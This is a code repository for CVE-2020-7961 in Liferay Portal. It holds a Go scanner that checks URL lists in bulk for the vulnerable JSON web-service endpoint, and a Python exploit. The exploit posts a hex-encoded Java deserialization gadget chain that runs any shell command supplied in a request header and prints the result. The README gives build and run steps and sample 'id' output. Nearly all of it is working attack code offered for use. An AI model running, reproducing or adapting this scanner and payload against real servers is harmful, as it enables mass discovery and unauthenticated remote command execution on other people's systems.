├── README.md ├── liferay-exploit.py └── liferay.go /README.md: -------------------------------------------------------------------------------- 1 | # liferay-scanner 2 | Vuln Liferay scanner. 3 | 4 | ``` 5 | Liferay scanner for CVE-2020-7961 6 | ``` 7 | 8 | About 9 | --- 10 | ``` 11 | Code Completely Ripped off from @tomnomnom - he is a hero if you meet him buy him a bevvie!! 12 | 13 | if vuln it should add it to liferay.log 14 | Mainly made by tomnomnom and i changed the request to look for liferay. 15 | ``` 16 | 17 | Build 18 | --- 19 | 20 | ``` 21 | go get -u github.com/fatih/color 22 | go build liferay.go 23 | ``` 24 | 25 | 26 | How to run 27 | --- 28 | 29 | `cat list.txt | ./liferay` 30 | 31 | Note 32 | --- 33 | This requires a list of urls with https:// or http:// 34 | 35 | 36 | 37 | Liferay Exploit 38 | --- 39 | 40 | ``` 41 | python liferay-exploit.py -t https://myserver -c id 42 | ``` 43 | 44 | ``` 45 | Status code: 200 46 | Response body: b'uid=1002(liferay) gid=1002(liferay) groups=1002(liferay)\n' 47 | ``` 48 | -------------------------------------------------------------------------------- /liferay-exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import argparse 3 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 4 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 5 | 6 | session = requests.Session() 7 | 8 | parser = argparse.ArgumentParser() 9 | parser.add_argument("-t", "--target", required=True, help="Target Liferay Server") 10 | parser.add_argument("-c", "--command", required=True, help="Command i.e id") 11 | 12 | args = parser.parse_args() 13 | target = args.target 14 | command = args.command 15 | 16 | 17 | headers = {"User-Agent":"curl/7.64.1","Connection":"close","Accept":"*/*"} 18 | response = session.get(""+target+"/api/jsonws/invoke", headers=headers,verify=False) 19 | 20 | if "Unable to deserialize object" in response.text: 21 | paramsPost = {"p_auth":"AdsXeCqz","tableId%3d1":"","formDate":"1526638413000","columnId":"123","defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource":"{\"userOverridesAsString\":\"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878;\"}","name":"A","cmd":"{\"/expandocolumn/update-column\":{}}","type":"1"} 22 | headers2 = {"Connection":"close","cmd2":""+command+"","Content-Type":"application/x-www-form-urlencoded"} 23 | response2 = session.post(""+target+"/api/jsonws/invoke", data=paramsPost, headers=headers2,verify=False) 24 | if "Exception" not in response2.text: 25 | print("Status code: %i" % response2.status_code) 26 | print(str(response2.content)) 27 | else: 28 | print("Sorry this payload has not worked on this system") 29 | else: 30 | print("Sorry Not Vuln") 31 | -------------------------------------------------------------------------------- /liferay.go: -------------------------------------------------------------------------------- 1 | # 2 | # Liferay scanner for CVE-2020-7961 3 | # Code Completely Ripped off from @tomnomnom - he is a hero if you meet him buy him a bevvie!! 4 | # 5 | # if vuln it should add it to liferay.log 6 | # 7 | # Mainly made by tomnomnom and i changed the request to look for liferay. 8 | # 9 | package main 10 | 11 | import ( 12 | "bufio" 13 | "bytes" 14 | "crypto/tls" 15 | "flag" 16 | "fmt" 17 | "github.com/fatih/color" 18 | "io" 19 | "log" 20 | "net" 21 | "net/http" 22 | "net/url" 23 | "os" 24 | "strings" 25 | "sync" 26 | "time" 27 | ) 28 | 29 | 30 | 31 | func main() { 32 | flag.Parse() 33 | 34 | var input io.Reader 35 | input = os.Stdin 36 | 37 | if flag.NArg() > 0 { 38 | file, err := os.Open(flag.Arg(0)) 39 | if err != nil { 40 | fmt.Printf("failed to open file: %s\n", err) 41 | os.Exit(1) 42 | } 43 | input = file 44 | } 45 | 46 | sc := bufio.NewScanner(input) 47 | 48 | urls := make(chan string, 128) 49 | concurrency := 12 50 | var wg sync.WaitGroup 51 | wg.Add(concurrency) 52 | 53 | for i := 0; i < concurrency; i++ { 54 | go func() { 55 | for raw := range urls { 56 | 57 | u, err := url.ParseRequestURI(raw) 58 | if err != nil { 59 | fmt.Printf("invalid url: %s\n", raw) 60 | continue 61 | } 62 | 63 | if !resolves(u) { 64 | fmt.Printf("does not resolve: %s\n", u) 65 | continue 66 | } 67 | 68 | resp, err := fetchURL(u) 69 | if err != nil { 70 | fmt.Printf("failed to fetch: %s (%s)\n", u, err) 71 | continue 72 | } 73 | 74 | 75 | if resp.StatusCode != http.StatusOK { 76 | fmt.Printf("non-200 response code: %s (%s)\n", u, resp.Status) 77 | } 78 | if resp.StatusCode == http.StatusOK { 79 | fmt.Printf("200 response code: %s (%s)\n", u, resp.Status) 80 | buf := new(bytes.Buffer) 81 | buf.ReadFrom(resp.Body) 82 | newStr := buf.String() 83 | if strings.Contains(newStr , "Unable to deserialize object") == true { 84 | color.HiGreen("[*] Vulnerable System Found!\n") 85 | f, err := os.OpenFile("text.log", 86 | os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) 87 | if err != nil { 88 | log.Println(err) 89 | } 90 | defer f.Close() 91 | if _, err := f.WriteString(""+u.String()+"/\n"); err != nil { 92 | log.Println(err) 93 | } 94 | 95 | 96 | } 97 | } 98 | } 99 | wg.Done() 100 | }() 101 | } 102 | 103 | for sc.Scan() { 104 | urls <- sc.Text() 105 | } 106 | close(urls) 107 | 108 | if sc.Err() != nil { 109 | fmt.Printf("error: %s\n", sc.Err()) 110 | } 111 | 112 | wg.Wait() 113 | } 114 | 115 | func resolves(u *url.URL) bool { 116 | addrs, _ := net.LookupHost(u.Hostname()) 117 | return len(addrs) != 0 118 | } 119 | 120 | func fetchURL(u *url.URL) (*http.Response, error) { 121 | tr := &http.Transport{ 122 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 123 | } 124 | client := http.Client{ 125 | Transport: tr, 126 | Timeout: 5 * time.Second, 127 | } 128 | req, err := http.NewRequest("GET", ""+u.String()+"/api/jsonws/invoke", nil) 129 | if err != nil { 130 | return nil, err 131 | } 132 | 133 | req.Close = true 134 | req.Header.Set("User-Agent", "liferay scanner/0.1") 135 | resp, err := client.Do(req) 136 | 137 | 138 | 139 | 140 | 141 | if err != nil { 142 | return nil, err 143 | } 144 | 145 | return resp, err 146 | } 147 | --------------------------------------------------------------------------------